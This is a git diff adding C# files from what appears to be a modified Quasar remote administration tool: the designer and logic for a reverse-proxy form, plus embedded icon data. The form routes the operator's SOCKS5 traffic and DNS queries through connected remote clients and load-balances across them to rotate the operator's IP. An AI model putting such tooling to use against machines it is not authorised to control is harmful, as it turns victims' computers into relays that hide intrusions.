/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.Designer.cs new file mode 100755 index 0000000..bcde0ca --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.Designer.cs @@ -0,0 +1,287 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmReverseProxy + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmReverseProxy)); + this.btnStart = new System.Windows.Forms.Button(); + this.lblLocalServerPort = new System.Windows.Forms.Label(); + this.nudServerPort = new System.Windows.Forms.NumericUpDown(); + this.tabCtrl = new System.Windows.Forms.TabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.killConnectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.btnStop = new System.Windows.Forms.Button(); + this.lblProxyInfo = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.lblLoadBalance = new System.Windows.Forms.Label(); + this.lstConnections = new AeroListView(); + this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader7 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + ((System.ComponentModel.ISupportInitialize)(this.nudServerPort)).BeginInit(); + this.tabCtrl.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.contextMenuStrip.SuspendLayout(); + this.SuspendLayout(); + // + // btnStart + // + this.btnStart.Location = new System.Drawing.Point(243, 12); + this.btnStart.Name = "btnStart"; + this.btnStart.Size = new System.Drawing.Size(114, 23); + this.btnStart.TabIndex = 0; + this.btnStart.Text = "Start Listening"; + this.btnStart.UseVisualStyleBackColor = true; + this.btnStart.Click += new System.EventHandler(this.btnStart_Click); + // + // lblLocalServerPort + // + this.lblLocalServerPort.AutoSize = true; + this.lblLocalServerPort.Location = new System.Drawing.Point(22, 17); + this.lblLocalServerPort.Name = "lblLocalServerPort"; + this.lblLocalServerPort.Size = new System.Drawing.Size(91, 13); + this.lblLocalServerPort.TabIndex = 1; + this.lblLocalServerPort.Text = "Local Server Port"; + // + // nudServerPort + // + this.nudServerPort.Location = new System.Drawing.Point(117, 15); + this.nudServerPort.Maximum = new decimal(new int[] { + 65534, + 0, + 0, + 0}); + this.nudServerPort.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.nudServerPort.Name = "nudServerPort"; + this.nudServerPort.Size = new System.Drawing.Size(120, 22); + this.nudServerPort.TabIndex = 2; + this.nudServerPort.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; + this.nudServerPort.Value = new decimal(new int[] { + 3128, + 0, + 0, + 0}); + this.nudServerPort.ValueChanged += new System.EventHandler(this.nudServerPort_ValueChanged); + // + // tabCtrl + // + this.tabCtrl.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.tabCtrl.Controls.Add(this.tabPage1); + this.tabCtrl.Location = new System.Drawing.Point(26, 115); + this.tabCtrl.Name = "tabCtrl"; + this.tabCtrl.SelectedIndex = 0; + this.tabCtrl.Size = new System.Drawing.Size(736, 274); + this.tabCtrl.TabIndex = 3; + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.lstConnections); + this.tabPage1.Location = new System.Drawing.Point(4, 22); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(728, 248); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = "Open Connections"; + this.tabPage1.UseVisualStyleBackColor = true; + // + // contextMenuStrip + // + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.killConnectionToolStripMenuItem}); + this.contextMenuStrip.Name = "contextMenuStrip1"; + this.contextMenuStrip.Size = new System.Drawing.Size(156, 26); + // + // killConnectionToolStripMenuItem + // + this.killConnectionToolStripMenuItem.Name = "killConnectionToolStripMenuItem"; + this.killConnectionToolStripMenuItem.Size = new System.Drawing.Size(155, 22); + this.killConnectionToolStripMenuItem.Text = "Kill Connection"; + this.killConnectionToolStripMenuItem.Click += new System.EventHandler(this.killConnectionToolStripMenuItem_Click); + // + // btnStop + // + this.btnStop.Enabled = false; + this.btnStop.Location = new System.Drawing.Point(363, 12); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(114, 23); + this.btnStop.TabIndex = 4; + this.btnStop.Text = "Stop Listening"; + this.btnStop.UseVisualStyleBackColor = true; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // lblProxyInfo + // + this.lblProxyInfo.AutoSize = true; + this.lblProxyInfo.Location = new System.Drawing.Point(23, 51); + this.lblProxyInfo.Name = "lblProxyInfo"; + this.lblProxyInfo.Size = new System.Drawing.Size(312, 13); + this.lblProxyInfo.TabIndex = 5; + this.lblProxyInfo.Text = "Connect to this SOCKS5 Proxy: 127.0.0.1:3128 (no user/pass)"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(23, 67); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(405, 13); + this.label1.TabIndex = 6; + this.label1.Text = "All the DNS Queries will be executed at the remote client to reduce DNS Leaks"; + // + // lblLoadBalance + // + this.lblLoadBalance.AutoSize = true; + this.lblLoadBalance.Location = new System.Drawing.Point(23, 84); + this.lblLoadBalance.Name = "lblLoadBalance"; + this.lblLoadBalance.Size = new System.Drawing.Size(105, 13); + this.lblLoadBalance.TabIndex = 7; + this.lblLoadBalance.Text = "[Load Balance Info]"; + // + // lstConnections + // + this.lstConnections.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.columnHeader6, + this.columnHeader7, + this.columnHeader1, + this.columnHeader2, + this.columnHeader3, + this.columnHeader4, + this.columnHeader5}); + this.lstConnections.ContextMenuStrip = this.contextMenuStrip; + this.lstConnections.Dock = System.Windows.Forms.DockStyle.Fill; + this.lstConnections.FullRowSelect = true; + this.lstConnections.GridLines = true; + this.lstConnections.Location = new System.Drawing.Point(3, 3); + this.lstConnections.Name = "lstConnections"; + this.lstConnections.Size = new System.Drawing.Size(722, 242); + this.lstConnections.TabIndex = 0; + this.lstConnections.UseCompatibleStateImageBehavior = false; + this.lstConnections.View = System.Windows.Forms.View.Details; + this.lstConnections.VirtualMode = true; + this.lstConnections.RetrieveVirtualItem += new System.Windows.Forms.RetrieveVirtualItemEventHandler(this.LvConnections_RetrieveVirtualItem); + // + // columnHeader6 + // + this.columnHeader6.Text = "Client IP"; + this.columnHeader6.Width = 106; + // + // columnHeader7 + // + this.columnHeader7.Text = "Client Country"; + this.columnHeader7.Width = 106; + // + // columnHeader1 + // + this.columnHeader1.Text = "Target Server"; + this.columnHeader1.Width = 135; + // + // columnHeader2 + // + this.columnHeader2.Text = "Target Port"; + this.columnHeader2.Width = 68; + // + // columnHeader3 + // + this.columnHeader3.Text = "Total Received"; + this.columnHeader3.Width = 105; + // + // columnHeader4 + // + this.columnHeader4.Text = "Total Sent"; + this.columnHeader4.Width = 95; + // + // columnHeader5 + // + this.columnHeader5.Text = "Proxy Type"; + this.columnHeader5.Width = 90; + // + // FrmReverseProxy + // + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(777, 402); + this.Controls.Add(this.lblLoadBalance); + this.Controls.Add(this.label1); + this.Controls.Add(this.lblProxyInfo); + this.Controls.Add(this.btnStop); + this.Controls.Add(this.tabCtrl); + this.Controls.Add(this.nudServerPort); + this.Controls.Add(this.lblLocalServerPort); + this.Controls.Add(this.btnStart); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "FrmReverseProxy"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Reverse Proxy []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmReverseProxy_FormClosing); + this.Load += new System.EventHandler(this.FrmReverseProxy_Load); + ((System.ComponentModel.ISupportInitialize)(this.nudServerPort)).EndInit(); + this.tabCtrl.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + this.contextMenuStrip.ResumeLayout(false); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Button btnStart; + private System.Windows.Forms.Label lblLocalServerPort; + private System.Windows.Forms.NumericUpDown nudServerPort; + private System.Windows.Forms.TabControl tabCtrl; + private System.Windows.Forms.TabPage tabPage1; + private AeroListView lstConnections; + private System.Windows.Forms.ColumnHeader columnHeader1; + private System.Windows.Forms.ColumnHeader columnHeader2; + private System.Windows.Forms.ColumnHeader columnHeader3; + private System.Windows.Forms.ColumnHeader columnHeader4; + private System.Windows.Forms.ColumnHeader columnHeader5; + private System.Windows.Forms.Button btnStop; + private System.Windows.Forms.Label lblProxyInfo; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem killConnectionToolStripMenuItem; + private System.Windows.Forms.ColumnHeader columnHeader6; + private System.Windows.Forms.ColumnHeader columnHeader7; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label lblLoadBalance; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.cs new file mode 100755 index 0000000..cc104d7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.cs @@ -0,0 +1,231 @@ +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.ReverseProxy; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Utilities; +using System; +using System.Globalization; +using System.Net.Sockets; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmReverseProxy : Form + { + /// + /// The clients which can be used for the reverse proxy. + /// + private readonly Client[] _clients; + + /// + /// The message handler for handling the communication with the clients. + /// + private readonly ReverseProxyHandler _reverseProxyHandler; + + /// + /// The open reverse proxy connections. + /// + private ReverseProxyClient[] _openConnections; + + /// + /// Initializes a new instance of the class using the given clients. + /// + /// The clients used for the reverse proxy form. + public FrmReverseProxy(Client[] clients) + { + this._clients = clients; + this._reverseProxyHandler = new ReverseProxyHandler(clients); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the reverse proxy message handler for client communication. + /// + private void RegisterMessageHandler() + { + //_connectClient.ClientState += ClientDisconnected; + _reverseProxyHandler.ProgressChanged += ConnectionChanged; + MessageHandler.Register(_reverseProxyHandler); + } + + /// + /// Unregisters the reverse proxy message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_reverseProxyHandler); + _reverseProxyHandler.ProgressChanged -= ConnectionChanged; + //_connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + /// TODO: Handle disconnected clients + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + private void FrmReverseProxy_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + if (_clients.Length > 1) + { + this.Text = "Reverse Proxy [Load-Balancer is active]"; + lblLoadBalance.Text = "The Load Balancer is active, " + _clients.Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works"; + } + else if (_clients.Length == 1) + { + this.Text = WindowHelper.GetWindowTitle("Reverse Proxy", _clients[0]); + lblLoadBalance.Text = "The Load Balancer is not active, only 1 client is used, select multiple clients to activate the load balancer"; + } + nudServerPort.Value = Settings.ReverseProxyPort; + } + + private void FrmReverseProxy_FormClosing(object sender, FormClosingEventArgs e) + { + Settings.ReverseProxyPort = GetPortSafe(); + UnregisterMessageHandler(); + _reverseProxyHandler.Dispose(); + } + + private void ConnectionChanged(object sender, ReverseProxyClient[] proxyClients) + { + lock (_reverseProxyHandler) + { + lstConnections.BeginUpdate(); + _openConnections = proxyClients; + lstConnections.VirtualListSize = _openConnections.Length; + lstConnections.EndUpdate(); + } + } + + private void btnStart_Click(object sender, EventArgs e) + { + try + { + ushort port = GetPortSafe(); + + if (port == 0) + { + MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK, + MessageBoxIcon.Warning); + return; + } + + _reverseProxyHandler.StartReverseProxyServer(port); + ToggleConfigurationButtons(true); + } + catch (SocketException ex) + { + if (ex.ErrorCode == 10048) + { + MessageBox.Show("The port is already in use.", "Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + else + { + MessageBox.Show($"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}", + "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + catch (Exception ex) + { + MessageBox.Show($"An unexpected error occurred: {ex.Message}", "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + /// + /// Safely gets the value from the and parses it as . + /// + /// The server port parsed as . Returns 0 on error. + private ushort GetPortSafe() + { + var portValue = nudServerPort.Value.ToString(CultureInfo.InvariantCulture); + return (!ushort.TryParse(portValue, out ushort port)) ? (ushort)0 : port; + } + + /// + /// Toggles the activatability of configuration controls. + /// + /// When set to true the configuration controls get enabled, otherwise they get disabled. + private void ToggleConfigurationButtons(bool started) + { + btnStart.Enabled = !started; + nudServerPort.Enabled = !started; + btnStop.Enabled = started; + } + + private void btnStop_Click(object sender, EventArgs e) + { + ToggleConfigurationButtons(false); + _reverseProxyHandler.StopReverseProxyServer(); + } + + private void nudServerPort_ValueChanged(object sender, EventArgs e) + { + lblProxyInfo.Text = string.Format("Connect to this SOCKS5 Proxy: 127.0.0.1:{0} (no user/pass)", nudServerPort.Value); + } + + private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualItemEventArgs e) + { + lock (_reverseProxyHandler) + { + if (e.ItemIndex < _openConnections.Length) + { + ReverseProxyClient connection = _openConnections[e.ItemIndex]; + + e.Item = new ListViewItem(new string[] + { + connection.Client.EndPoint.ToString(), + connection.Client.Value.Country, + (connection.HostName.Length > 0 && connection.HostName != connection.TargetServer) ? string.Format("{0} ({1})", connection.HostName, connection.TargetServer) : connection.TargetServer, + connection.TargetPort.ToString(), + StringHelper.GetHumanReadableFileSize(connection.LengthReceived), + StringHelper.GetHumanReadableFileSize(connection.LengthSent), + connection.Type.ToString() + }) { Tag = connection }; + } + } + } + + private void killConnectionToolStripMenuItem_Click(object sender, EventArgs e) + { + lock (_reverseProxyHandler) + { + if (lstConnections.SelectedIndices.Count > 0) + { + //copy the list, it could happen that suddenly the items de-select + int[] items = new int[lstConnections.SelectedIndices.Count]; + lstConnections.SelectedIndices.CopyTo(items, 0); + + foreach (int index in items) + { + if (index < _openConnections.Length) + { + ReverseProxyClient connection = _openConnections[index]; + connection?.Disconnect(); + } + } + } + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.resx new file mode 100755 index 0000000..b8bc596 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.resx @@ -0,0 +1,662 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + 